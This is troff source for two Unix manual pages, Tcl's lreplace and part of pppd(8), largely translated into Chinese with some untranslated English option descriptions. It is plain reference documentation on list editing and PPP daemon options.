'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: lreplace.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
'\" # ^b = 1
.de BS
.br
.mk ^y
.nr ^b 1u
.if n .nf
.if n .ti 0
.if n \l'\\n(.lu\(ul'
.if n .fi
..
'\" # BE - end boxed text (draw box now)
.de BE
.nf
.ti 0
.mk ^t
.ie n \l'\\n(^lu\(ul'
.el \{\
.\" Draw four-sided box normally, but don't draw top of
.\" box if the box started on an earlier page.
.ie !\\n(^b-1 \{\
\h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.el \}\
\h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul'
.\}
.\}
.fi
.br
.nr ^b 0
..
'\" # VS - start vertical sidebar
'\" # ^Y = starting y location
'\" # ^v = 1 (for troff; for nroff this doesn't matter)
.de VS
.if !"\\$2"" .br
.mk ^Y
.ie n 'mc \s12\(br\s0
.el .nr ^v 1u
..
'\" # VE - end of vertical sidebar
.de VE
.ie n 'mc
.el \{\
.ev 2
.nf
.ti 0
.mk ^t
\h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n'
.sp -1
.fi
.ev
.\}
.nr ^v 0
..
'\" # Special macro to handle page bottom: finish off current
'\" # box/sidebar if in box/sidebar mode, then invoked standard
'\" # page bottom macro.
.de ^B
.ev 2
'ti 0
'nf
.mk ^t
.if \\n(^b \{\
.\" Draw three-sided box if this is the box's first page,
.\" draw two sides but no top otherwise.
.ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c
.\}
.if \\n(^v \{\
.nr ^x \\n(^tu+1v-\\n(^Yu
\kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c
.\}
.bp
'fi
.ev
.if \\n(^b \{\
.mk ^y
.nr ^b 2
.\}
.if \\n(^v \{\
.mk ^Y
.\}
..
'\" # DS - begin display
.de DS
.RS
.nf
.sp
..
'\" # DE - end display
.de DE
.fi
.RE
.sp
..
'\" # SO - start of list of standard options
.de SO
.SH "STANDARD OPTIONS"
.LP
.nf
.ta 5.5c 11c
.ft B
..
'\" # SE - end of list of standard options
.de SE
.fi
.ft R
.LP
See the \\fBoptions\\fR manual entry for details on the standard options.
..
'\" # OP - start of full description for a single option
.de OP
.LP
.nf
.ta 4c
Command-Line Name: \\fB\\$1\\fR
Database Name: \\fB\\$2\\fR
Database Class: \\fB\\$3\\fR
.fi
.IP
..
'\" # CS - begin code excerpt
.de CS
.RS
.nf
.ta .25i .5i .75i 1i
..
'\" # CE - end code excerpt
.de CE
.fi
.RE
..
.de UL
\\$1\l'|0\(ul'\\$2
..
.TH lreplace 3tcl 7.4 Tcl "Tcl Built-In Commands"
.BS
'\" Note: do not modify the .SH NAME line immediately below!
.SH NAME
lreplace \- 在一个列表中用新元素替换旧元素
.SH "总览 SYNOPSIS"
\fBlreplace \fIlist first last \fR?\fIelement element ...\fR?
.BE
.SH "描述 DESCRIPTION"
.PP
\fBlreplace\fR 指定要替换的元素范围的最先索引和最后索引。0 参照这个列表的第一个元素,而用 \fBend\fR (或它的任何缩写)参照这个列表的最后一个元素。如果 \fIlist\fR 是空,则忽略 \fIfirst\fR 和 \fIlast\fR。
如果 \fIfirst\fR 小于零,则作为对列表的第一个元素的参照来考虑。对于非空列表,\fIfirst\fR 指定的元素必须存在。
如果 \fIlast\fR 小于零但大于 \fIfirst\fR,则在这个列表的开始处插入指定的所有元素。如果 \fIlast\fR 小于 \fIfirst\fR 则不删除元素;新元素被简单的插入到 \fIfirst \fR前面。
\fIelement\fR 参数指定要添加到这个列表中被删除了元素的位置上的零个或多个新参数。每个 \fIelement\fR 参数都将变成这个列表的一个独立的元素。如果未指定 \fIelement\fR 参数,则只简单的删除在 \fIfirst\fR 和 \fIlast\fR 之间的元素。如果 \fIlist\fR 是空,在这个列表的尾部添加所有的 \fIelement\fR 参数。
.SH "参见 SEE ALSO"
lappend(n), lindex(n), linsert(n), list(n), llength(n), lrange(n),
lsearch(n), lsort(n)
.SH "关键字 KEYWORDS"
element, list, replace
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/06/21
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
.\" manual page [] for pppd 2.4
.\" SH section heading
.\" SS subsection heading
.\" LP paragraph
.\" IP indented paragraph
.\" TP hanging label
.TH PPPD 8
.SH NAME
pppd \- 点对点协议守护进程
.SH "总览 SYNOPSIS"
.B pppd
[
.I tty_name
] [
.I speed
] [
.I options
]
.SH "描述"
.LP
点对点协议 (PPP) 提供一种在点对点串列线路上传输资料流
(datagrams)的方法。PPP是由三个部份所组成的:一个在串列线
路上封装(encapsulating)资料流的方法,一个可延伸的连结控制
协定(LinkControlProtocol:LCP),以及一些用来建立并配置不
同网路层协定的网路控制协定(NetworkControlProtocols:NCP)
.LP
封装的机制(scheme)是由核心中的驱动程式码来提供。pppd提供
基本的LCP,验证(authentication)的支援,以及一个用来建立
并配置网际网路协定(InternatProtocol(IP))(叫做IP控制
协定,IPCP)的NCP。
.SH " 常用选项 FREQUENTLY USED OPTIONS"
.TP
.I <tty_name>
在该名称的设备上进行通讯。如果需要的话可以前置一个
"/dev/"字串。如果没有给设备名称,pppd将会使用控制
台的终端机(controllingteriminal),并且产生(fork)出
来时将不会把自己放到背景去。
.TP
.I <speed>
将波特率设为speed。在像是4.4BSD以及NetBSA的系
统上,可以指定任何速率。其他系统(e.g.SunOs)只允
许有限的几种速率。
.TP
.B asyncmap \fI<map>
把非同步(async)字元设为对照到。这个对照表
描述哪些控制字元不能在串列线路上成功地接收。pppd将
会要求彼端以两个位元组的逸出序列(escapesequence)来
传送这些字元。其参数是32位元的十六进位数字而每个
位元代表一个得避开(escape)的字元。位元0(00000001)
代表字元0x00;位元31(80000000)代表字元0x1f或
是^_。如果给了多个asyncmap选项,这些数值会以逻
辑的或(OR)合在一起。如果没有给asyncmap选项,将没
有非同步字元对照表会被加以协商来导引接收。这样彼端
将会避开所有的控制字元。
.TP
.B auth
要求彼端在允许传送或接收网路封包之前先验证它自己。
This option is the default if the
system has a default route. If neither this option nor the
\fInoauth\fR option is specified, pppd will only allow the peer to use
IP addresses to which the system does not already have a route.
.TP
.B call \fIname
Read options from the file /etc/ppp/peers/\fIname\fR. This file may
contain privileged options, such as \fInoauth\fR, even if pppd
is not being run by root. The \fIname\fR string may not begin with /
or include .. as a pathname component. The format of the options file
is described below.
.TP
.B connect \fIscript
使用以所指定的可执行指令或是shell指令来设定
串列线路。这个指令稿一般会使用"chat"程式来拨数据
机并开始远端ppp区段作业(session)。
A value for this option from a privileged source cannot
be overridden by a non-privileged user.
.TP
.B crtscts
使用硬体流量控制(i.e.RTS/CTS)来控制串列埠上的资料流。
If neither the \fIcrtscts\fR, the
\fInocrtscts\fR, the \fIcdtrcts\fR nor the \fInocdtrcts\fR option
is given, the hardware flow control setting for the serial port is
left unchanged.
Some serial ports (such as Macintosh serial ports) lack a true
RTS output. Such serial ports use this mode to implement
unidirectional flow control. The serial port will
suspend transmission when requested by the modem (via CTS)
but will be unable to request the modem stop sending to the
computer. This mode retains the ability to use DTR as
a modem control line.
.TP
.B defaultroute
当IPCP协商完全成功时,增加一个预设递送路径到系统
的递送表,将彼端当作闸道器使用。这个项目在ppp连线
中断後会移除。
.TP
.B disconnect \fIscript
在pppd已经终结该连线之後执行以所指定的可执行
指令或是shell指令。这个指令稿可以用来,例如,如果
硬体的数据机控制信号无法使用时,发出指令给数据机使
其挂断电话。 The disconnect script is not run if the
modem has already hung up. A value for this option from a privileged
source cannot be overridden by a non-privileged user.
.TP
.B escape \fIxx,yy,...
指定在传输上确实应该要避开的字元(不管对方是否有用
它的非同步控制字元对照表要求避开它们)。这些要被避
开的字元是以用逗号隔开的一串十六进位数字指定的。要
注意到几乎任何字元都可以用escape选项指定避开,不
像asyncmap选项只允许指定控制字元。不能避开的字元
是那些有十六进位值0x20-0x3f或是0x5e者。
.TP
.B file \fIname
从档案里读取选项(其格式叙述在後)
The file must be readable by the user who has invoked pppd.
.TP
.B init \fIscript
Run the executable or shell command specified by \fIscript\fR to
initialize the serial line. This script would typically use the
chat(8) program to configure the modem to enable auto answer. A value
for this option from a privileged source cannot be overridden by a
non-privileged user.
.TP
.B lock
指定pppd应该在此串列设备上使用UUCP式的锁定以确
定对该设备为互斥(exclusive)存取。
.TP
.B mru \fIn
把MRU[MaximumReceiveUnit最大接收单元]的值设为
n来进行协商。pppd将会要求彼端传送不比位元组
更长的封包。最小的MRU值是128。预设的MRU值则是
1500。对於慢速线路上的建议值是296(其中40个位元
组给TCP/IP表头+256个位元组的资料)。
(Note that for IPv6 MRU must be at least 1280)
.TP
.B mtu \fIn
将MTU[MaximumTransmitUnit最大传输单元]的值设
为\fIn\fR。除非彼端经由MRU协商要求一个更小的值,pppd
将会要求核心网路程式码透过PPP网路界面所传送的资料
封包不超过n个位元组。
(Note that for IPv6 MTU must be at least 1280)
.TP
.B passive
在LCP中开启"passive"选项。加上这个选项,pppd将
会试图初使一个连线;如果没有从彼端接收到回应,那麽
pppd将只会被动地等待从彼端所传来的一个有效LCP封
包(代替结束离开,就像它在没有这个选项时所作的)。
.SH "选项 OPTIONS"
.TP
.I <local_IP_address>\fB:\fI<remote_IP_address>
设定本地以及/或是远端界面的IP位址。两者之中的任
何一个都可以省略。该IP位址可以利用主机名称或者是
十进位数值加小数点符号指定(e.g.150.234.56.78)。
预设的本地位址是系统的(第一个)IP位址(除非有加上
noipdefault选项)。远端位址如果没有在任何选项中指
定的话将从彼端取得。因此,在简单的案例中,这个选项
不是必须的。如果有一个本地以及/或是远端的IP位址
以这个选项加以指定的话,pppd将不会接受在IPCP协商
中从彼端所传来不同的值,除非加上ipcp-accept-local
以及/或是ipcp-accept-remote选项,个别地。
.TP
.B ipv6 \fI<local_interface_identifier>\fR,\fI<remote_interface_identifier>
Set the local and/or remote 64-bit interface identifier. Either one may be
omitted. The identifier must be specified in standard ascii notation of
IPv6 addresses (e.g. ::dead:beef). If the
\fIipv6cp-use-ipaddr\fR
option is given, the local identifier is the local IPv4 address (see above).
On systems which supports a unique persistent id, such as EUI-48 derived
from the Ethernet MAC address, \fIipv6cp-use-persistent\fR option can be
used to replace the \fIipv6 <local>,<remote>\fR option. Otherwise the
identifier is randomized.
.TP
.B active-filter \fIfilter-expression
Specifies a packet filter to be applied to data packets to determine
which packets are to be regarded as link activity, and therefore reset
the idle timer, or cause the link to be brought up in demand-dialling
mode. This option is useful in conjunction with the
\fBidle\fR option if there are packets being sent or received
regularly over the link (for example, routing information packets)
which would otherwise prevent the link from ever appearing to be idle.
The \fIfilter-expression\fR syntax is as described for tcpdump(1),
except that qualifiers which are inappropriate for a PPP link, such as
\fBether\fR and \fBarp\fR, are not permitted. Generally the filter
expression should be enclosed in single-quotes to prevent whitespace
in the expression from being interpreted by the shell. This option
is currently only available under NetBSD, and then only
if both the kernel and pppd were compiled with PPP_FILTER defined.
.TP
.B allow-ip \fIaddress(es)
Allow peers to use the given IP address or subnet without
authenticating themselves. The parameter is parsed as for each
element of the list of allowed IP addresses in the secrets files (see
the AUTHENTICATION section below).
.TP
.B bsdcomp \fInr,nt
Request that the peer compress packets that it sends, using the
BSD-Compress scheme, with a maximum code size of \fInr\fR bits, and
agree to compress packets sent to the peer with a maximum code size of
\fInt\fR bits. If \fInt\fR is not specified, it defaults to the value
given for \fInr\fR. Values in the range 9 to 15 may be used for
\fInr\fR and \fInt\fR; larger values give better compression but
consume more kernel memory for compression dictionaries.
Alternatively, a value of 0 for \fInr\fR or \fInt\fR disables
compression in the corresponding direction. Use \fInobsdcomp\fR or
\fIbsdcomp 0\fR to disable BSD-Compress compression entirely.
.TP
.B cdtrcts
Use a non-standard hardware flow control (i.e. DTR/CTS) to control
the flow of data on the serial port. If neither the \fIcrtscts\fR,
the \fInocrtscts\fR, the \fIcdtrcts\fR nor the \fInocdtrcts\fR
option is given, the hardware flow control setting for the serial
port is left unchanged.
Some serial ports (such as Macintosh serial ports) lack a true
RTS output. Such serial ports use this mode to implement true
bi-directional flow control. The sacrifice is that this flow
control mode does not permit using DTR as a modem control line.
.TP
.B chap-interval \fIn
如果有给这个选项,pppd将会每n 秒重新盘查彼端。
.TP
.B chap-max-challenge \fIn
将CHAP盘查(challenge)传输的最大数目设为n(预
设为10)。
.TP
.B chap-restart \fIn
将CHAP重新开始的间隔(重新传输的时间限制)设为n
秒钟(预设为3)。
.TP
.B connect-delay \fIn
Wait for up \fIn\fR milliseconds after the connect script finishes for
a valid PPP packet from the peer. At the end of this time, or when a
valid PPP packet is received from the peer, pppd will commence
negotiation by sending its first LCP packet. The default value is
1000 (1 second). This wait period only applies if the \fBconnect\fR
or \fBpty\fR option is used.
.TP
.B debug
递增侦错层级(与-d相同)。如果加上这个选项,pppd
将以可供阅读的格式记录所有传送或接收的控制封包内容。
这些封包透过syslog以facilitydaemon还有level
debug加以记录。该资讯可以适当设定/etc/syslog.conf
来导向到一个档案去。(参阅syslog.conf(5))。(如果
pppd以开启扩充侦错(extradebugging)编译的话,它将
会使用facilitylocal2取代daemon来记录讯息)。
.TP
.B default-asyncmap
Disable asyncmap negotiation, forcing all control characters to be
escaped for both the transmit and the receive direction.
.TP
.B default-mru
Disable MRU [Maximum Receive Unit] negotiation. With this option,
pppd will use the default MRU value of 1500 bytes for both the
transmit and receive direction.
.TP
.B deflate \fInr,nt
Request that the peer compress packets that it sends, using the
Deflate scheme, with a maximum window size of \fI2**nr\fR bytes, and
agree to compress packets sent to the peer with a maximum window size
of \fI2**nt\fR bytes. If \fInt\fR is not specified, it defaults to
the value given for \fInr\fR. Values in the range 9 to 15 may be used
for \fInr\fR and \fInt\fR; larger values give better compression but
consume more kernel memory for compression dictionaries.
Alternatively, a value of 0 for \fInr\fR or \fInt\fR disables
compression in the corresponding direction. Use \fInodeflate\fR or
\fIdeflate 0\fR to disable Deflate compression entirely. (Note: pppd
requests Deflate compression in preference to BSD-Compress if the peer
can do either.)
.TP
.B demand
Initiate the link only on demand, i.e. when data traffic is present.
With this option, the remote IP address must be specified by the user
on the command line or in an options file. Pppd will initially
configure the interface and enable it for IP traffic without
connecting to the peer. When traffic is available, pppd will
connect to the peer and perform negotiation, authentication, etc.
When this is completed, pppd will commence passing data packets
(i.e., IP packets) across the link.
The \fIdemand\fR option implies the \fIpersist\fR option. If this
behaviour is not desired, use the \fInopersist\fR option after the
\fIdemand\fR option. The \fIidle\fR and \fIholdoff\fR
options are also useful in conjuction with the \fIdemand\fR option.
.TP
.B domain \fId
新增领域名称到本地主机名称以支援验证。例如,如
果gethostname()回应porsche这个名称,但是完整合
格的领域名称是porsche.Quotron.COM的话,你可以使用
domain选项来将领域名称设为Quotron.COM。
Pppd would then use the name
\fIporsche.Quotron.COM\fR for looking up secrets in the secrets file,
and as the default name to send to the peer when authenticating itself
to the peer. This option is privileged.
.TP
.B dryrun
With the \fBdryrun\fR option, pppd will print out all the option
values which have been set and then exit, after parsing the command
line and options files and checking the option values, but before
initiating the link. The option values are logged at level info, and
also printed to standard output unless the device on standard output
is the device that pppd would be using to communicate with the peer.
.TP
.B dump
With the \fBdump\fR option, pppd will print out all the option values
which have been set. This option is like the \fBdryrun\fR option
except that pppd proceeds as normal rather than exiting.
.TP
.B endpoint \fI<epdisc>
Sets the endpoint discriminator sent by the local machine to the peer
during multilink negotiation to \fI<epdisc>\fR. The default is to use
the MAC address of the first ethernet interface on the system, if any,
otherwise the IPv4 address corresponding to the hostname, if any,
provided it is not in the multicast or locally-assigned IP address
ranges, or the localhost address. The endpoint discriminator can be
the string \fBnull\fR or of the form \fItype\fR:\fIvalue\fR, where
type is a decimal number or one of the strings \fBlocal\fR, \fBIP\fR,
\fBMAC\fR, \fBmagic\fR, or \fBphone\fR. The value is an IP address in
dotted-decimal notation for the \fBIP\fR type, or a string of bytes in
hexadecimal, separated by periods or colons for the other types. For
the MAC type, the value may also be the name of an ethernet or similar
network interface. This option is currently only available under
Linux.
.TP
.B hide-password
When logging the contents of PAP packets, this option causes pppd to
exclude the password string from the log. This is the default.
.TP
.B holdoff \fIn
Specifies how many seconds to wait before re-initiating the link after
it terminates. This option only has any effect if the \fIpersist\fR
or \fIdemand\fR option is used. The holdoff period is not applied if
the link was terminated because it was idle.
.TP
.B idle \fIn
Specifies that pppd should disconnect if the link is idle for \fIn\fR
seconds. The link is idle when no data packets (i.e. IP packets) are
being sent or received. Note: it is not advisable to use this option
with the \fIpersist\fR option without the \fIdemand\fR option.
If the \fBactive-filter\fR
option is given, data packets which are rejected by the specified
activity filter also count as the link being idle.
.TP
.B ipcp-accept-local
加上这个选项的话,pppd将会接受彼端对於本地IP位址
的意见,即使本地的IP位址已经在某个选项中指定。
.TP
.B ipcp-accept-remote
加上这个选项的话,pppd将会接受彼端对於它的IP位址
的意见,即使远端的IP位址已经在某个选项中指定。
.TP
.B ipcp-max-configure \fIn
将IPCP配置要求(configure-request)传输的最大数目设
为n(预设为10)。
.TP
.B ipcp-max-failure \fIn
将开始传送配置拒绝(configure-Rejects)之前的IPCP配
置未接收(configure-NAKs)的最大数目以取代n(预设
为10)。
.TP
.B ipcp-max-terminate \fIn
将IPCP终结要求(terminate-request)传输的最大数目设
为 n(预设为3)。
.TP
.B ipcp-restart \fIn
将IPCP重新开始的间隔(重新传输的时间限制)设为n
秒钟(预设为3)。
.TP
.B ipparam \fIstring
Provides an extra parameter to the ip-up and ip-down scripts. If this
option is given, the \fIstring\fR supplied is given as the 6th
parameter to those scripts.
.TP
.B ipv6cp-max-configure \fIn
Set the maximum number of IPv6CP configure-request transmissions to
\fIn\fR (default 10).
.TP
.B ipv6cp-max-failure \fIn
Set the maximum number of IPv6CP configure-NAKs returned before starting
to send configure-Rejects instead to \fIn\fR (default 10).
.TP
.B ipv6cp-max-terminate \fIn
Set the maximum number of IPv6CP terminate-request transmissions to
\fIn\fR (default 3).
.TP
.B ipv6cp-restart \fIn
Set the IPv6CP restart interval (retransmission timeout) to \fIn\fR
seconds (default 3).
.TP
.B ipx
Enable the IPXCP and IPX protocols. This option is presently only
supported under Linux, and only if your kernel has been configured to
include IPX support.
.TP
.B ipx-network \fIn
Set the IPX network number in the IPXCP configure request frame to
\fIn\fR, a hexadecimal number (without a leading 0x). There is no
valid default. If this option is not specified, the network number is
obtained from the peer. If the peer does not have the network number,
the IPX protocol will not be started.
.TP
.B ipx-node \fIn\fB:\fIm
Set the IPX node numbers. The two node numbers are separated from each
other with a colon character. The first number \fIn\fR is the local
node number. The second number \fIm\fR is the peer's node number. Each
node number is a hexadecimal number, at most 10 digits long. The node
numbers on the ipx-network must be unique. There is no valid
default. If this option is not specified then the node numbers are
obtained from the peer.
.TP
.B ipx-router-name \fI<string>
Set the name of the router. This is a string and is sent to the peer
as information data.
.TP
.B ipx-routing \fIn
Set the routing protocol to be received by this option. More than one
instance of \fIipx-routing\fR may be specified. The '\fInone\fR'
option (0) may be specified as the only instance of ipx-routing. The
values may be \fI0\fR for \fINONE\fR, \fI2\fR for \fIRIP/SAP\fR, and
\fI4\fR for \fINLSP\fR.
.TP
.B ipxcp-accept-local
Accept the peer's NAK for the node number specified in the ipx-node
option. If a node number was specified, and non-zero, the default is
to insist that the value be used. If you include this option then you
will permit the peer to override the entry of the node number.
.TP
.B ipxcp-accept-network
Accept the peer's NAK for the network number specified in the
ipx-network option. If a network number was specified, and non-zero, the
default is to insist that the value be used. If you include this
option then you will permit the peer to override the entry of the node
number.
.TP
.B ipxcp-accept-remote
Use the peer's network number specified in the configure request
frame. If a node number was specified for the peer and this option was
not specified, the peer will be forced to use the value which you have
specified.
.TP
.B ipxcp-max-configure \fIn
Set the maximum number of IPXCP configure request frames which the
system will send to \fIn\fR. The default is 10.
.TP
.B ipxcp-max-failure \fIn
Set the maximum number of IPXCP NAK frames which the local system will
send before it rejects the options. The default value is 3.
.TP
.B ipxcp-max-terminate \fIn
Set the maximum nuber of IPXCP terminate request frames before the
local system considers that the peer is not listening to them. The
default value is 3.
.TP
.B kdebug \fIn
开启核心层级中的PPP驱动程式侦错码。The argument values
depend on the specific kernel driver, but in general a value of
1 will enable general kernel debug messages. (Note that these
messages are usually only useful for debugging the kernel driver
itself.) For the Linux 2.2.x kernel driver, 参数n是一个
由下列值所组合的数字:1开启一般侦错讯息,2要求印
出所接收到的封包内容,而4要求印出传输的封包内容。
On most systems, messages printed by
the kernel are logged by syslog(1) to a file as directed in the
/etc/syslog.conf configuration file.
.TP
.B ktune
Enables pppd to alter kernel settings as appropriate. Under Linux,
pppd will enable IP forwarding (i.e. set /proc/sys/net/ipv4/ip_forward
to 1) if the \fIproxyarp\fR option is used, and will enable the
dynamic IP address option (i.e. set /proc/sys/net/ipv4/ip_dynaddr to
1) in demand mode if the local address changes.
.TP
.B lcp-echo-failure \fIn
如果有给这个选项,那麽如果传送n个LCP回应要求没
有接收到有效的LCP回应回覆的话pppd将会推测彼端是
死掉的。如果发生这种情形,pppd将会终结该连线。这个
选项的使用要求一个非零的lcp-echo-interval参数值。
这个选项可以用在硬体数据机控制线路无法使用的情况下
当实际连线被中断之後(e.g.,数据机已经挂断)终结
pppd的执行。
.TP
.B lcp-echo-interval \fIn
如果有给这个选项,pppd每秒将会送出一个LCP回
应要求(echo-request)封包(frame)给彼端。在Linux系
统下,回应要求在n秒内没有从彼端接收到封包时会被送
出。一般彼端应该以传送一个回应回覆(echo-reply)来反
应该回应要求。这个选项可以与lcp-echo-failure选项
一起使用来侦测不再连线的彼端。
.TP
.B lcp-max-configure \fIn
将LCP配置要求(configure-request)传输的最大数目设
为n(预设为10)。
.TP
.B lcp-max-failure \fIn
将开始传送配置拒绝(configure-Rejects)之前的LCP配
置未接收(configure-NAKs)的最大数目设置为n(预设
为10)。
.TP
.B lcp-max-terminate \fIn
将LCP终结要求(terminate-request)传输的最大数目设
为n(预设为3)。
.TP
.B lcp-restart \fIn
将LCP重新开始的间隔(重新传输的时间限制)设为
秒钟(预设为3)。
.TP
.B linkname \fIname\fR
Sets the logical name of the link to \fIname\fR. Pppd will create a
file named \fBppp-\fIname\fB.pid\fR in /var/run (or /etc/ppp on some
systems) containing its process ID. This can be useful in determining
which instance of pppd is responsible for the link to a given peer
system. This is a privileged option.
.TP
.B local
不要使用数据机控制线路。 With this option, pppd will ignore
the state of the CD (Carrier Detect) signal from the modem and will
not change the state of the DTR (Data Terminal Ready) signal.
.TP
.B logfd \fIn
Send log messages to file descriptor \fIn\fR. Pppd will send log
messages to at most one file or file descriptor (as well as sending
the log messages to syslog), so this option and the \fBlogfile\fR
option are mutually exclusive. The default is for pppd to send log
messages to stdout (file descriptor 1), unless the serial port is
already open on stdout.
.TP
.B logfile \fIfilename
Append log messages to the file \fIfilename\fR (as well as sending the
log messages to syslog). The file is opened with the privileges of
the user who invoked pppd, in append mode.
.TP
.B login
使用系统密码资料库验证使用PAP的彼端。
and record the user in the system wtmp file. Note that the peer
must have an entry in the /etc/ppp/pap-secrets file as well as the
system password database to be allowed access.
.TP
.B maxconnect \fIn
Terminate the connection when it has been available for network
traffic for \fIn\fR seconds (i.e. \fIn\fR seconds after the first
network control protocol comes up).
.TP
.B maxfail \fIn
Terminate after \fIn\fR consecutive failed connection attempts. A
value of 0 means no limit. The default value is 10.
.TP
.B modem
使用数据机控制线路。This option is the default. With this
option, pppd will wait for the CD (Carrier Detect) signal from the
modem to be asserted when opening the serial device (unless a connect
script is specified), and it will drop the DTR (Data Terminal Ready)
signal briefly when the connection is terminated and before executing
the connect script. 在Ultrix上,这个选项会实作硬
体流量控制,像crtsct选项作的。
.TP
.B mp
Enables the use of PPP multilink; this is an alias for the `multilink'
option. This option is currently only available under Linux.
.TP
.B mpshortseq
Enables the use of short (12-bit) sequence numbers in multilink
headers, as opposed to 24-bit sequence numbers. This option is only
available under Linux, and only has any effect if multilink is
enabled (see the multilink option).
.TP
.B mrru \fIn
Sets the Maximum Reconstructed Receive Unit to \fIn\fR. The MRRU is
the maximum size for a received packet on a multilink bundle, and is
analogous to the MRU for the individual links. This option is
currently only available under Linux, and only has any effect if
multilink is enabled (see the multilink option).
.TP
.B ms-dns \fI<addr>
If pppd is acting as a server for Microsoft Windows clients, this
option allows pppd to supply one or two DNS (Domain Name Server)
addresses to the clients. The first instance of this option specifies
the primary DNS address; the second instance (if given) specifies the
secondary DNS address. (This option was present in some older
versions of pppd under the name \fBdns-addr\fR.)
.TP
.B ms-wins \fI<addr>
If pppd is acting as a server for Microsoft Windows or "Samba"
clients, this option allows pppd to supply one or two WINS (Windows
Internet Name Services) server addresses to the clients. The first
instance of this option specifies the primary WINS address; the second
instance (if given) specifies the secondary WINS address.
.TP
.B multilink
Enables the use of the PPP multilink protocol. If the peer also
supports multilink, then this link can become part of a bundle between
the local system and the peer. If there is an existing bundle to the
peer, pppd will join this link to that bundle, otherwise pppd will
create a new bundle. See the MULTILINK section below. This option is
currently only available under Linux.
.TP
.B name \fIname
将本地系统的名称设为用来进行验证。
This is a privileged option. With this option, pppd will
use lines in the secrets files which have \fIname\fR as the second
field when looking for a secret to use in authenticating the peer. In
addition, unless overridden with the \fIuser\fR option, \fIname\fR
will be used as the name to send to the peer when authenticating the
local system to the peer. (Note that pppd does not append the domain
name to \fIname\fR.)
.TP
.B netmask \fIn
把该界面网路掩码设为,这是一个以″十进位数值加
小数点″("decimaldot")符号表示的32位元网路掩码
(e.g.255.255.255.0)。If this option is given, the value
specified is ORed with the default netmask. The default netmask is
chosen based on the negotiated remote IP address; it is the
appropriate network mask for the class of the remote IP address, ORed
with the netmasks for any non point-to-point network interfaces in the
system which are on the same network. (Note: on some platforms, pppd
will always use 255.255.255.255 for the netmask, if that is the only
appropriate value for a point-to-point interface.)
.TP
.B noaccomp
Disable Address/Control compression in both directions (send and
receive).
.TP
.B noauth
Do not require the peer to authenticate itself. This option is
privileged.
.TP
.B nobsdcomp
Disables BSD-Compress compression; \fBpppd\fR will not request or
agree to compress packets using the BSD-Compress scheme.
.TP
.B noccp
Disable CCP (Compression Control Protocol) negotiation. This option
should only be required if the peer is buggy and gets confused by
requests from pppd for CCP negotiation.
.TP
.B nocrtscts
Disable hardware flow control (i.e. RTS/CTS) on the serial port.
If neither the \fIcrtscts\fR nor the \fInocrtscts\fR nor the
\fIcdtrcts\fR nor the \fInocdtrcts\fR option is given, the hardware
flow control setting for the serial port is left unchanged.
.TP
.B nocdtrcts
This option is a synonym for \fInocrtscts\fR. Either of these options will
disable both forms of hardware flow control.
.TP
.B nodefaultroute
Disable the \fIdefaultroute\fR option. The system administrator who
wishes to prevent users from creating default routes with pppd
can do so by placing this option in the /etc/ppp/options file.
.TP
.B nodeflate
Disables Deflate compression; pppd will not request or agree to
